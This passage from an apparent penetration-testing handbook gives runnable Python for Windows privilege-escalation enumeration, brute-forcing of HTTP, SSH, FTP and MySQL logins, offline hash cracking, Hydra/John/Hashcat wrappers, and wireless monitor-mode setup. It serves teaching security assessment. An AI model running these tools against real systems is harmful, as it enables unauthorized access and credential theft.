e:\n            print(f\"Error checking services: {e}\")\n    \n    def check_registry(self):\n        \"\"\"Check registry for privilege escalation vectors\"\"\"\n        \n        print(\"\\n[*] Checking registry...\")\n        \n        # AlwaysInstallElevated\n        try:\n            result = subprocess.run([\n                'reg', 'query', 'HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Installer',\n                '/v', 'AlwaysInstallElevated'\n            ], capture_output=True, text=True)\n            \n            if '0x1' in result.stdout:\n                print(\"[!] AlwaysInstallElevated enabled (HKLM)\")\n                \n            result = subprocess.run([\n                'reg', 'query', 'HKCU\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Installer',\n                '/v', 'AlwaysInstallElevated'\n            ], capture_output=True, text=True)\n            \n            if '0x1' in result.stdout:\n                print(\"[!] AlwaysInstallElevated enabled (HKCU)\")\n                print(\"    Exploit: Generate malicious MSI package\")\n                \n        except Exception as e:\n            pass\n            \n        # AutoRun entries\n        try:\n            autorun_keys = [\n                'HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run',\n                'HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce',\n                'HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run',\n                'HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce'\n            ]\n            \n            for key in autorun_keys:\n                result = subprocess.run(['reg', 'query', key], capture_output=True, text=True)\n                if result.returncode == 0:\n                    print(f\"[*] AutoRun entries in {key}:\")\n                    print(result.stdout)\n                    \n        except Exception as e:\n            pass\n    \n    def check_startup_folders(self):\n        \"\"\"Check startup folders for writable permissions\"\"\"\n        \n        print(\"\\n[*] Checking startup folders...\")\n        \n        startup_paths = [\n            'C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup',\n            os.path.expandvars('%APPDATA%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup'),\n            os.path.expandvars('%ALLUSERSPROFILE%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup')\n        ]\n        \n        for path in startup_paths:\n            if os.path.exists(path):\n                # Check if writable (simplified)\n                try:\n                    test_file = os.path.join(path, 'test.txt')\n                    with open(test_file, 'w') as f:\n                        f.write('test')\n                    os.remove(test_file)\n                    print(f\"[!] Writable startup folder: {path}\")\n                except:\n                    print(f\"[-] Not writable: {path}\")\n    \n    def check_scheduled_tasks(self):\n        \"\"\"Check scheduled tasks\"\"\"\n        \n        print(\"\\n[*] Checking scheduled tasks...\")\n        \n        try:\n            result = subprocess.run(['schtasks', '/query', '/fo', 'LIST', '/v'], \n                                  capture_output=True, text=True)\n            \n            tasks = result.stdout.split('\\n\\n')\n            for task in tasks[:10]:  # Check first 10\n                if 'SYSTEM' in task or 'LOCAL SERVICE' in task:\n                    # Extract task name and command\n                    task_name = re.search(r'TaskName:\\s+(.+)', task)\n                    task_run = re.search(r'Task To Run:\\s+(.+)', task)\n                    \n                    if task_name and task_run:\n                        print(f\"[*] System task: {task_name.group(1)}\")\n                        print(f\"    Runs: {task_run.group(1)}\")\n                        \n                        # Check if task file is writable\n                        task_file = task_run.group(1).strip('\"')\n                        if os.path.exists(task_file):\n                            if os.access(task_file, os.W_OK):\n                                print(f\"[!] Writable task binary: {task_file}\")\n                                \n        except Exception as e:\n            print(f\"Error checking tasks: {e}\")\n    \n    def check_dll_hijacking(self):\n        \"\"\"Check for potential DLL hijacking opportunities\"\"\"\n        \n        print(\"\\n[*] Checking for DLL hijacking opportunities...\")\n        \n        # Common writable paths\n        writable_paths = [\n            'C:\\\\Windows\\\\Temp',\n            'C:\\\\Temp',\n            os.path.expandvars('%TEMP%'),\n            os.path.expandvars('%TMP%')\n        ]\n        \n        for path in writable_paths:\n            if os.path.exists(path) and os.access(path, os.W_OK):\n                print(f\"[!] Writable path for DLL hijacking: {path}\")\n                \n        # Check PATH directories for writable ones\n        path_dirs = os.environ.get('PATH', '').split(';')\n        for directory in path_dirs:\n            if directory and os.path.exists(directory) and os.access(directory, os.W_OK):\n                print(f\"[!] Writable directory in PATH: {directory}\")\n    \n    def check_installed_software(self):\n        \"\"\"Check installed software for vulnerable versions\"\"\"\n        \n        print(\"\\n[*] Checking installed software...\")\n        \n        try:\n            # Get installed programs from registry\n            result = subprocess.run([\n                'reg', 'query', 'HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall',\n                '/s'\n            ], capture_output=True, text=True)\n            \n            software = re.findall(r'DisplayName\\s+REG_SZ\\s+(.+)', result.stdout)\n            \n            vulnerable_software = {\n                'Adobe Reader': 'Adobe Reader',\n                'Java': 'Java',\n                'Flash': 'Flash Player',\n                'Chrome': 'Google Chrome',\n                'Firefox': 'Mozilla Firefox',\n                'Office': 'Microsoft Office',\n                'IIS': 'IIS',\n                'SQL Server': 'SQL Server',\n                'VNC': 'VNC',\n                'TeamViewer': 'TeamViewer'\n            }\n            \n            found = []\n            for soft in software:\n                for vuln, name in vulnerable_software.items():\n                    if vuln.lower() in soft.lower():\n                        if name not in found:\n                            found.append(name)\n                            print(f\"[*] Installed: {soft}\")\n                            \n        except Exception as e:\n            print(f\"Error checking software: {e}\")\n    \n    def run_all_checks(self):\n        \"\"\"Run all Windows privilege escalation checks\"\"\"\n        \n        print(\"=\" * 60)\n        print(\"WINDOWS PRIVILEGE ESCALATION CHECKLIST\")\n        print(\"=\" * 60)\n        \n        self.check_windows_version()\n        self.check_whoami()\n        self.check_service_permissions()\n        self.check_registry()\n        self.check_startup_folders()\n        self.check_scheduled_tasks()\n        self.check_dll_hijacking()\n        self.check_installed_software()\n        \n        print(\"\\n\" + \"=\" * 60)\n        print(\"PRIVILEGE ESCALATION CHECK COMPLETE\")\n        print(\"=\" * 60)\n\n# Example usage\nprivesc = WindowsPrivEsc()\nprivesc.run_all_checks()\n```\n\n### 17.5 Password Attacks\n\nPassword attacks are often necessary when other exploitation vectors fail.\n\n#### 17.5.1 Online Password Attacks\n\n```python\n#!/usr/bin/env python3\n# online_password_attacks.py\n\nimport requests\nimport socket\nimport time\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor\n\nclass OnlinePasswordAttacker:\n    def __init__(self, target, attack_type='http'):\n        self.target = target\n        self.attack_type = attack_type\n        self.found = []\n        self.lock = threading.Lock()\n        \n    def http_bruteforce(self, url, username_field, password_field, usernames, passwords):\n        \"\"\"HTTP form bruteforce\"\"\"\n        \n        print(f\"[*] Starting HTTP bruteforce against {url}\")\n        \n        def try_login(username, password):\n            data = {\n                username_field: username,\n                password_field: password\n            }\n            \n            try:\n                response = requests.post(url, data=data, timeout=5)\n                \n                # Check for login success indicators\n                success_indicators = ['welcome', 'dashboard', 'logout', 'profile']\n                for indicator in success_indicators:\n                    if indicator in response.text.lower():\n                        with self.lock:\n                            print(f\"[+] Found credentials: {username}:{password}\")\n                            self.found.append((username, password))\n                        return True\n            except:\n                pass\n            return False\n        \n        total = len(usernames) * len(passwords)\n        attempts = 0\n        \n        for username in usernames:\n            for password in passwords:\n                attempts += 1\n                if attempts % 100 == 0:\n                    print(f\"  Progress: {attempts}/{total} ({attempts/total*100:.1f}%)\")\n                    \n                if try_login(username, password):\n                    break\n        \n        return self.found\n    \n    def ssh_bruteforce(self, port=22, usernames=None, passwords=None):\n        \"\"\"SSH bruteforce using paramiko\"\"\"\n        \n        print(f\"[*] Starting SSH bruteforce against {self.target}:{port}\")\n        \n        try:\n            import paramiko\n        except ImportError:\n            print(\"[-] paramiko not installed. Install with: pip install paramiko\")\n            return []\n            \n        def try_ssh(username, password):\n            client = paramiko.SSHClient()\n            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n            \n            try:\n                client.connect(self.target, port=port, username=username, \n                             password=password, timeout=5)\n                with self.lock:\n                    print(f\"[+] SSH credentials found: {username}:{password}\")\n                    self.found.append((username, password))\n                client.close()\n                return True\n            except:\n                pass\n            return False\n        \n        for username in usernames:\n            for password in passwords:\n                if try_ssh(username, password):\n                    break\n                    \n        return self.found\n    \n    def ftp_bruteforce(self, port=21, usernames=None, passwords=None):\n        \"\"\"FTP bruteforce\"\"\"\n        \n        print(f\"[*] Starting FTP bruteforce against {self.target}:{port}\")\n        \n        def try_ftp(username, password):\n            try:\n                import ftplib\n                ftp = ftplib.FTP()\n                ftp.connect(self.target, port, timeout=5)\n                ftp.login(username, password)\n                ftp.quit()\n                with self.lock:\n                    print(f\"[+] FTP credentials found: {username}:{password}\")\n                    self.found.append((username, password))\n                return True\n            except:\n                pass\n            return False\n        \n        for username in usernames:\n            for password in passwords:\n                if try_ftp(username, password):\n                    break\n                    \n        return self.found\n    \n    def mysql_bruteforce(self, port=3306, usernames=None, passwords=None):\n        \"\"\"MySQL bruteforce\"\"\"\n        \n        print(f\"[*] Starting MySQL bruteforce against {self.target}:{port}\")\n        \n        try:\n            import pymysql\n        except ImportError:\n            print(\"[-] pymysql not installed. Install with: pip install pymysql\")\n            return []\n            \n        def try_mysql(username, password):\n            try:\n                conn = pymysql.connect(\n                    host=self.target,\n                    port=port,\n                    user=username,\n                    password=password,\n                    connect_timeout=5\n                )\n                conn.close()\n                with self.lock:\n                    print(f\"[+] MySQL credentials found: {username}:{password}\")\n                    self.found.append((username, password))\n                return True\n            except:\n                pass\n            return False\n        \n        for username in usernames:\n            for password in passwords:\n                if try_mysql(username, password):\n                    break\n                    \n        return self.found\n    \n    def rdp_bruteforce(self, port=3389, usernames=None, passwords=None):\n        \"\"\"RDP bruteforce using crowbar or similar\"\"\"\n        \n        print(f\"[*] Starting RDP bruteforce against {self.target}:{port}\")\n        print(\"    Use specialized tools like crowbar or ncrack for RDP\")\n        \n        # This would integrate with external tools\n        return []\n    \n    def generate_wordlist(self, base_words, rules=None):\n        \"\"\"Generate password wordlist based on rules\"\"\"\n        \n        wordlist = set(base_words)\n        \n        if rules:\n            for word in base_words:\n                # Common substitutions\n                if 'capitalize' in rules:\n                    wordlist.add(word.capitalize())\n                if 'uppercase' in rules:\n                    wordlist.add(word.upper())\n                if 'leet' in rules:\n                    leet = word.replace('a', '@').replace('e', '3').replace('i', '1').replace('o', '0')\n                    wordlist.add(leet)\n                if 'append_year' in rules:\n                    for year in ['2020', '2021', '2022', '2023', '2024']:\n                        wordlist.add(word + year)\n                if 'append_number' in rules:\n                    for i in range(10):\n                        wordlist.add(word + str(i))\n                        \n        return list(wordlist)\n\n# Example usage\nattacker = OnlinePasswordAttacker('192.168.1.100', 'http')\n\n# Generate wordlist\nusernames = ['admin', 'administrator', 'root', 'user', 'test']\npasswords = ['password', '123456', 'admin', 'letmein', 'qwerty']\n\n# HTTP attack\n# results = attacker.http_bruteforce('http://192.168.1.100/login', 'username', 'password', \n#                                     usernames, passwords)\n\n# SSH attack\n# results = attacker.ssh_bruteforce(22, usernames, passwords)\n```\n\n#### 17.5.2 Offline Password Cracking\n\n```python\n#!/usr/bin/env python3\n# offline_password_cracking.py\n\nimport hashlib\nimport crypt\nimport itertools\nimport string\nimport time\nfrom concurrent.futures import ProcessPoolExecutor\n\nclass OfflinePasswordCracker:\n    def __init__(self):\n        self.hash_types = {\n            'md5': hashlib.md5,\n            'sha1': hashlib.sha1,\n            'sha256': hashlib.sha256,\n            'sha512': hashlib.sha512,\n            'ntlm': self.ntlm_hash\n        }\n        \n    def ntlm_hash(self, password):\n        \"\"\"Calculate NTLM hash\"\"\"\n        import hashlib\n        hash = hashlib.new('md4', password.encode('utf-16le')).digest()\n        return hash.hex().upper()\n    \n    def crack_md5(self, hash_value, wordlist):\n        \"\"\"Crack MD5 hash with wordlist\"\"\"\n        \n        print(f\"[*] Cracking MD5 hash: {hash_value}\")\n        \n        for word in wordlist:\n            word = word.strip()\n            if hashlib.md5(word.encode()).hexdigest() == hash_value:\n                print(f\"[+] Password found: {word}\")\n                return word\n                \n        return None\n    \n    def crack_sha1(self, hash_value, wordlist):\n        \"\"\"Crack SHA1 hash with wordlist\"\"\"\n        \n        for word in wordlist:\n            word = word.strip()\n            if hashlib.sha1(word.encode()).hexdigest() == hash_value:\n                return word\n        return None\n    \n    def crack_ntlm(self, hash_value, wordlist):\n        \"\"\"Crack NTLM hash with wordlist\"\"\"\n        \n        for word in wordlist:\n            if self.ntlm_hash(word) == hash_value.upper():\n                return word\n        return None\n    \n    def crack_unix(self, hash_string, wordlist):\n        \"\"\"Crack Unix crypt hash\"\"\"\n        \n        # Format: $id$salt$hash\n        parts = hash_string.split('$')\n        if len(parts) == 4:\n            hash_type = parts[1]\n            salt = parts[2]\n            target_hash = parts[3]\n            \n            for word in wordlist:\n                crypt_hash = crypt.crypt(word, f\"${hash_type}${salt}$\")\n                if crypt_hash == hash_string:\n                    return word\n                    \n        return None\n    \n    def brute_force(self, hash_value, hash_type, max_length=8, charset=None):\n        \"\"\"Brute force attack\"\"\"\n        \n        if charset is None:\n            charset = string.ascii_lowercase + string.digits\n            \n        hash_func = self.hash_types.get(hash_type)\n        if not hash_func:\n            print(f\"[-] Unknown hash type: {hash_type}\")\n            return None\n            \n        print(f\"[*] Starting brute force (max length: {max_length}, charset size: {len(charset)})\")\n        start_time = time.time()\n        \n        for length in range(1, max_length + 1):\n            print(f\"  Testing length {length}...\")\n            \n            for combination in itertools.product(charset, repeat=length):\n                word = ''.join(combination)\n                \n                if hash_func(word) == hash_value:\n                    elapsed = time.time() - start_time\n                    print(f\"[+] Password found: {word} in {elapsed:.2f} seconds\")\n                    return word\n                    \n        return None\n    \n    def dictionary_attack(self, hash_value, hash_type, wordlist_file, rules=None):\n        \"\"\"Dictionary attack with optional rules\"\"\"\n        \n        hash_func = self.hash_types.get(hash_type)\n        if not hash_func:\n            return None\n            \n        print(f\"[*] Starting dictionary attack with {wordlist_file}\")\n        \n        try:\n            with open(wordlist_file, 'r', errors='ignore') as f:\n                wordlist = f.readlines()\n        except FileNotFoundError:\n            print(f\"[-] Wordlist not found: {wordlist_file}\")\n            return None\n            \n        # Basic dictionary\n        for word in wordlist:\n            word = word.strip()\n            if hash_func(word) == hash_value:\n                return word\n                \n        # Apply rules if specified\n        if rules:\n            for word in wordlist:\n                word = word.strip()\n                \n                # Capitalize first letter\n                if hash_func(word.capitalize()) == hash_value:\n                    return word.capitalize()\n                    \n                # All uppercase\n                if hash_func(word.upper()) == hash_value:\n                    return word.upper()\n                    \n                # Append common numbers\n                for i in range(10):\n                    if hash_func(word + str(i)) == hash_value:\n                        return word + str(i)\n                        \n        return None\n    \n    def mask_attack(self, hash_value, hash_type, mask):\n        \"\"\"Mask attack (e.g., ?l?l?d?d for 2 letters + 2 digits)\"\"\"\n        \n        hash_func = self.hash_types.get(hash_type)\n        if not hash_func:\n            return None\n            \n        # Parse mask\n        charset_map = {\n            '?l': string.ascii_lowercase,\n            '?u': string.ascii_uppercase,\n            '?d': string.digits,\n            '?s': string.punctuation,\n            '?a': string.ascii_letters + string.digits + string.punctuation\n        }\n        \n        charsets = []\n        for char in mask:\n            if char == '?':\n                continue\n            if char in charset_map:\n                charsets.append(charset_map[char])\n                \n        total = 1\n        for cs in charsets:\n            total *= len(cs)\n            \n        print(f\"[*] Starting mask attack: {mask} ({total} combinations)\")\n        start_time = time.time()\n        \n        for combination in itertools.product(*charsets):\n            word = ''.join(combination)\n            if hash_func(word) == hash_value:\n                elapsed = time.time() - start_time\n                print(f\"[+] Password found: {word} in {elapsed:.2f} seconds\")\n                return word\n                \n        return None\n    \n    def rainbow_table_lookup(self, hash_value, rainbow_table):\n        \"\"\"Rainbow table lookup (simplified)\"\"\"\n        \n        print(f\"[*] Looking up hash in rainbow table\")\n        \n        # In practice, this would query a rainbow table database\n        # For demo purposes, we'll just check a dictionary\n        return None\n    \n    def parallel_crack(self, hash_value, hash_type, wordlist_file, num_processes=4):\n        \"\"\"Parallel cracking with multiple processes\"\"\"\n        \n        hash_func = self.hash_types.get(hash_type)\n        \n        def crack_chunk(chunk):\n            for word in chunk:\n                word = word.strip()\n                if hash_func(word) == hash_value:\n                    return word\n            return None\n            \n        # Read wordlist and split into chunks\n        with open(wordlist_file, 'r', errors='ignore') as f:\n            words = f.readlines()\n            \n        chunk_size = len(words) // num_processes\n        chunks = [words[i:i + chunk_size] for i in range(0, len(words), chunk_size)]\n        \n        with ProcessPoolExecutor(max_workers=num_processes) as executor:\n            futures = [executor.submit(crack_chunk, chunk) for chunk in chunks]\n            \n            for future in futures:\n                result = future.result()\n                if result:\n                    return result\n                    \n        return None\n\n# Example usage\ncracker = OfflinePasswordCracker()\n\n# Example hash (MD5 of \"password\")\nhash_value = hashlib.md5(b\"password\").hexdigest()\nprint(f\"Hash: {hash_value}\")\n\n# Dictionary attack\nwordlist = ['password', '123456', 'admin', 'letmein']\nresult = cracker.crack_md5(hash_value, wordlist)\nprint(f\"Result: {result}\")\n\n# Brute force (short password example)\n# result = cracker.brute_force(\"5f4dcc3b5aa765d61d8327deb882cf99\", \"md5\", max_length=3)\n```\n\n#### 17.5.3 Password Cracking Tools Integration\n\n```python\n#!/usr/bin/env python3\n# password_tools.py\n\nimport subprocess\nimport os\nimport tempfile\n\nclass PasswordTools:\n    def __init__(self):\n        self.tools = {\n            'john': '/usr/sbin/john',\n            'hashcat': '/usr/bin/hashcat',\n            'hydra': '/usr/bin/hydra',\n            'ncrack': '/usr/bin/ncrack'\n        }\n        \n    def check_tools(self):\n        \"\"\"Check if required tools are installed\"\"\"\n        \n        available = {}\n        for tool, path in self.tools.items():\n            if os.path.exists(path):\n                available[tool] = path\n                print(f\"[+] {tool} found at {path}\")\n            else:\n                print(f\"[-] {tool} not found\")\n                \n        return available\n    \n    def run_john(self, hash_file, format=None, wordlist=None):\n        \"\"\"Run John the Ripper\"\"\"\n        \n        cmd = ['john']\n        \n        if format:\n            cmd.extend(['--format=' + format])\n            \n        if wordlist:\n            cmd.extend(['--wordlist=' + wordlist])\n            \n        cmd.append(hash_file)\n        \n        print(f\"[*] Running: {' '.join(cmd)}\")\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            print(result.stdout)\n            \n            # Show cracked passwords\n            show = subprocess.run(['john', '--show', hash_file], capture_output=True, text=True)\n            print(show.stdout)\n            \n            return show.stdout\n        except Exception as e:\n            print(f\"Error: {e}\")\n            return None\n    \n    def run_hashcat(self, hash_file, attack_mode, hash_type, wordlist=None):\n        \"\"\"Run Hashcat\"\"\"\n        \n        cmd = ['hashcat', '-m', str(hash_type), '-a', str(attack_mode)]\n        \n        if wordlist:\n            cmd.append(wordlist)\n            \n        cmd.append(hash_file)\n        \n        print(f\"[*] Running: {' '.join(cmd)}\")\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            \n            # Show cracked passwords\n            show = subprocess.run(['hashcat', '--show', hash_file], capture_output=True, text=True)\n            print(show.stdout)\n            \n            return show.stdout\n        except Exception as e:\n            print(f\"Error: {e}\")\n            return None\n    \n    def run_hydra(self, target, service, username_list, password_list, port=None):\n        \"\"\"Run Hydra for online attacks\"\"\"\n        \n        cmd = ['hydra']\n        \n        if port:\n            cmd.extend(['-s', str(port)])\n            \n        cmd.extend(['-L', username_list])\n        cmd.extend(['-P', password_list])\n        \n        if service == 'http-post-form':\n            # Complex format for HTTP forms\n            cmd.extend(['-f', target, 'http-post-form'])\n        else:\n            cmd.extend([target, service])\n            \n        print(f\"[*] Running: {' '.join(cmd)}\")\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            print(result.stdout)\n            return result.stdout\n        except Exception as e:\n            print(f\"Error: {e}\")\n            return None\n    \n    def create_hash_file(self, hashes, filename):\n        \"\"\"Create hash file for John/Hashcat\"\"\"\n        \n        with open(filename, 'w') as f:\n            for hash_string in hashes:\n                f.write(hash_string + '\\n')\n                \n        print(f\"[+] Hash file created: {filename}\")\n        return filename\n    \n    def generate_rule_based_wordlist(self, base_wordlist, rules, output_file):\n        \"\"\"Generate rule-based wordlist using John rules\"\"\"\n        \n        # This would use John's rules engine\n        # For now, simple Python implementation\n        \n        with open(base_wordlist, 'r') as f:\n            words = f.readlines()\n            \n        with open(output_file, 'w') as f:\n            for word in words:\n                word = word.strip()\n                f.write(word + '\\n')\n                \n                # Apply rules\n                if 'capitalize' in rules:\n                    f.write(word.capitalize() + '\\n')\n                if 'uppercase' in rules:\n                    f.write(word.upper() + '\\n')\n                if 'leet' in rules:\n                    leet = word.replace('a', '@').replace('e', '3').replace('i', '1').replace('o', '0')\n                    f.write(leet + '\\n')\n                    \n        print(f\"[+] Wordlist generated: {output_file}\")\n        return output_file\n\n# Example usage\ntools = PasswordTools()\navailable = tools.check_tools()\n\n# Create hash file\nhashes = ['5f4dcc3b5aa765d61d8327deb882cf99']  # MD5 of \"password\"\nhash_file = tools.create_hash_file(hashes, 'hashes.txt')\n\n# Run John\nif 'john' in available:\n    tools.run_john(hash_file, format='raw-md5', wordlist='/usr/share/wordlists/rockyou.txt')\n```\n\n---\n\n# PART VII \u2014 WIRELESS &amp; NETWORK ATTACKS\n\n## Chapter 18 \u2014 Wireless Security\n\nWireless networks present unique security challenges due to their broadcast nature. Understanding wireless protocols, encryption mechanisms, and attack techniques is essential for comprehensive security assessments.\n\n### 18.1 802.11 Protocols\n\nThe 802.11 family of standards governs wireless local area networks (WLANs). Understanding these protocols is fundamental to wireless security testing.\n\n#### 18.1.1 802.11 Frame Types and Structure\n\n```python\n#!/usr/bin/env python3\n# wifi_frames.py\n\nclass WiFiFrameAnalyzer:\n    def __init__(self):\n        self.frame_types = {\n            0: 'Management Frame',\n            1: 'Control Frame',\n            2: 'Data Frame'\n        }\n        \n        self.management_subtypes = {\n            0: 'Association Request',\n            1: 'Association Response',\n            2: 'Reassociation Request',\n            3: 'Reassociation Response',\n            4: 'Probe Request',\n            5: 'Probe Response',\n            8: 'Beacon',\n            9: 'ATIM',\n            10: 'Disassociation',\n            11: 'Authentication',\n            12: 'Deauthentication'\n        }\n        \n        self.control_subtypes = {\n            8: 'Block Ack Request',\n            9: 'Block Ack',\n            10: 'PS-Poll',\n            11: 'RTS',\n            12: 'CTS',\n            13: 'ACK',\n            14: 'CF-End',\n            15: 'CF-End + CF-Ack'\n        }\n        \n    def explain_frame_structure(self):\n        \"\"\"Explain 802.11 frame structure\"\"\"\n        \n        print(\"[+] 802.11 Frame Structure:\")\n        print(\"    +---------------+---------------+---------------+\")\n        print(\"    | Frame Control | Duration/ID   | Address 1     |\")\n        print(\"    | (2 bytes)     | (2 bytes)     | (6 bytes)     |\")\n        print(\"    +---------------+---------------+---------------+\")\n        print(\"    | Address 2     | Address 3     | Sequence Ctrl |\")\n        print(\"    | (6 bytes)     | (6 bytes)     | (2 bytes)     |\")\n        print(\"    +---------------+---------------+---------------+\")\n        print(\"    | Address 4     | Frame Body    | FCS           |\")\n        print(\"    | (6 bytes)     | (0-2312 bytes)| (4 bytes)     |\")\n        print(\"    +---------------+---------------+---------------+\")\n        \n    def decode_frame_control(self, fc_byte):\n        \"\"\"Decode frame control field\"\"\"\n        \n        # Extract fields from frame control\n        protocol_version = fc_byte &amp; 0x03\n        frame_type = (fc_byte &gt;&gt; 2) &amp; 0x03\n        frame_subtype = (fc_byte &gt;&gt; 4) &amp; 0x0F\n        to_ds = (fc_byte &gt;&gt; 8) &amp; 0x01\n        from_ds = (fc_byte &gt;&gt; 9) &amp; 0x01\n        more_frag = (fc_byte &gt;&gt; 10) &amp; 0x01\n        retry = (fc_byte &gt;&gt; 11) &amp; 0x01\n        pwr_mgmt = (fc_byte &gt;&gt; 12) &amp; 0x01\n        more_data = (fc_byte &gt;&gt; 13) &amp; 0x01\n        protected = (fc_byte &gt;&gt; 14) &amp; 0x01\n        order = (fc_byte &gt;&gt; 15) &amp; 0x01\n        \n        decoded = {\n            'protocol_version': protocol_version,\n            'frame_type': self.frame_types.get(frame_type, 'Unknown'),\n            'frame_subtype': self.get_subtype_name(frame_type, frame_subtype),\n            'to_ds': to_ds,\n            'from_ds': from_ds,\n            'more_fragments': more_frag,\n            'retry': retry,\n            'power_management': pwr_mgmt,\n            'more_data': more_data,\n            'protected_frame': protected,\n            'order': order\n        }\n        \n        return decoded\n    \n    def get_subtype_name(self, frame_type, subtype):\n        \"\"\"Get frame subtype name\"\"\"\n        \n        if frame_type == 0:  # Management\n            return self.management_subtypes.get(subtype, 'Unknown')\n        elif frame_type == 1:  # Control\n            return self.control_subtypes.get(subtype, 'Unknown')\n        elif frame_type == 2:  # Data\n            return 'Data'\n        else:\n            return 'Unknown'\n    \n    def explain_beacon_frame(self):\n        \"\"\"Explain beacon frame contents\"\"\"\n        \n        print(\"\\n[+] Beacon Frame Information Elements:\")\n        print(\"    \u2022 SSID: Network name\")\n        print(\"    \u2022 Supported Rates: Data rates supported\")\n        print(\"    \u2022 DS Parameter Set: Channel information\")\n        print(\"    \u2022 TIM: Traffic Indication Map\")\n        print(\"    \u2022 RSN: Robust Security Network (WPA2/WPA3)\")\n        print(\"    \u2022 ERP: Extended Rate PHY\")\n        print(\"    \u2022 HT Capabilities: 802.11n features\")\n        print(\"    \u2022 VHT Capabilities: 802.11ac features\")\n        print(\"    \u2022 HE Capabilities: 802.11ax (WiFi 6) features\")\n\n# Example usage\nanalyzer = WiFiFrameAnalyzer()\nanalyzer.explain_frame_structure()\nanalyzer.explain_beacon_frame()\n```\n\n#### 18.1.2 Wireless Modes and Operations\n\n```python\n#!/usr/bin/env python3\n# wifi_modes.py\n\nimport subprocess\nimport re\n\nclass WirelessModes:\n    def __init__(self):\n        self.modes = {\n            'managed': 'Client mode (station)',\n            'master': 'Access Point mode',\n            'monitor': 'Monitoring mode (packet capture)',\n            'ad-hoc': 'Peer-to-peer mode',\n            'mesh': 'Mesh network node',\n            'repeater': 'Signal repeater'\n        }\n        \n    def check_wireless_interfaces(self):\n        \"\"\"Check available wireless interfaces\"\"\"\n        \n        try:\n            result = subprocess.run(['iwconfig'], capture_output=True, text=True)\n            interfaces = []\n            \n            for line in result.stdout.split('\\n'):\n                if 'IEEE 802.11' in line:\n                    interface = line.split()[0]\n                    interfaces.append(interface)\n                    \n            return interfaces\n        except:\n            return []\n    \n    def set_monitor_mode(self, interface):\n        \"\"\"Set wireless interface to monitor mode\"\"\"\n        \n        print(f\"[*] Setting {interface} to monitor mode...\")\n        \n        commands = [\n            ['sudo', 'ip', 'link', 'set', interface, 'down'],\n            ['sudo', 'iwconfig', interface, 'mode', 'monitor'],\n            ['sudo', 'ip', 'link', 'set', interface, 'up']\n        ]\n        \n        for cmd in commands:\n            try:\n                subprocess.run(cmd, check=True)\n            except:\n                pass\n                \n        # Verify mode\n        result = subprocess.run(['iwconfig', interface], capture_output=True, text=True)\n        if 'Mode:Monitor' in result.stdout:\n            print(f\"[+] {interface} is now in monitor mode\")\n            return True\n        else:\n            print(f\"[-] Failed to set monitor mode\")\n            return False\n    \n    def set_managed_mode(self, interface):\n        \"\"\"Set wireless interface back to managed mode\"\"\"\n        \n        print(f\"[*] Setting {interface} to managed mode...\")\n        \n        commands = [\n            ['sudo', 'ip', 'link', 'set', interface, 'down'],\n            ['sudo', 'iwconfig', interface, 'mode', 'managed'],\n            ['sudo', 'ip', 'link', 'set', interface, 'up']\n        ]\n        \n        for cmd in commands:\n            try:\n                subprocess.run(cmd, check=True)\n            except:\n                pass\n                \n        # Verify mode\n        result = subprocess.run(['iwconfig', interface], capture_output=True, text=True)\n        if 'Mode:Managed' in result.stdout:\n            print(f\"[+] {interface} is now in managed mode\")\n            return True\n        else:\n            print(f\"[-] Failed to set managed mode\")\n            return False\n    \n    def check_monitor_support(self, interface):\n        \"\"\"Check if interface supports monitor mode\"\"\"\n        \n        try:\n            result = subprocess.run(['iw', 'list'], capture_output=True, text=True)\n            \n            if 'Supported interface modes:' in result.stdout:\n                if '* monitor' in result.stdout:\n                    print(f\"[+] {interface} supports monitor mode\")\n                    return True\n                    \n        except:\n            pass\n            \n        print(f\"[-] {interface} may not support monitor mode\")\n        return False\n    \n    def get_channel_info(self, interface):\n        \"\"\"Get current channel information\"\"\"\n        \n        try:\n            result = subprocess.run(['iwconfig', interface], capture_output=True, text=True)\n            \n            # Extract channel\n            channel_match = re.search(r'Channel[=:](\\d+)', result.stdout)\n            channel = channel_match.group(1) if channel_match else 'Unknown'\n            \n            # Extract frequency\n            freq_match = re.search(r'Frequency[=:][^\\s]+', result.stdout)\n            freq = freq_match.group(0) if freq_match else 'Unknown'\n            \n            return {'channel': channel, 'frequency': freq}\n        except:\n            return {'channel': 'Unknown', 'frequency': 'Unknown'}\n    \n    def scan_networks(self, interface):\n        \"\"\"Scan for wireless networks\"\"\"\n        \n        print(f\"[*] Scanning for networks on {interface}...\")\n        \n        try:\n            # Set monitor mode for better scanning\n            self.set_monitor_mode(interface)\n            \n            # Scan\n            result = subprocess.run(['iwlist', interface, 'scan'], \n                                  capture_output=True, text=True)\n            \n            networks = []\n            current_network = {}\n            \n            for line in result.stdout.split('\\n'):\n                if 'Cell ' in line:\n                    if current_network:\n                        networks.append(current_network)\n                    current_network = {}\n                    \n                if 'ESSID:' in line:\n                    current_network['ssid'] = line.split('ESSID:\"')[1].split('\"')[0]\n                elif 'Channel:' in line:\n                    current_network['channel'] = line.split('Channel:')[1].strip()\n                elif 'Encryption key:' in line:\n                    current_network['encrypted'] = 'on' in line\n                elif 'Quality=' in line:\n                    quality_match = re.search(r'Quality=(\\d+/\\d+)', line)\n                    if quality_match:\n                        current_network['quality'] = quality_match.group(1)\n                    signal_match = re.search(r'Signal level=(-?\\d+)', line)\n                    if signal_match:\n                        current_network['signal'] = signal_match.group(1) + ' dBm'\n                        \n            if current_network:\n                networks.append(current_network)\n                \n     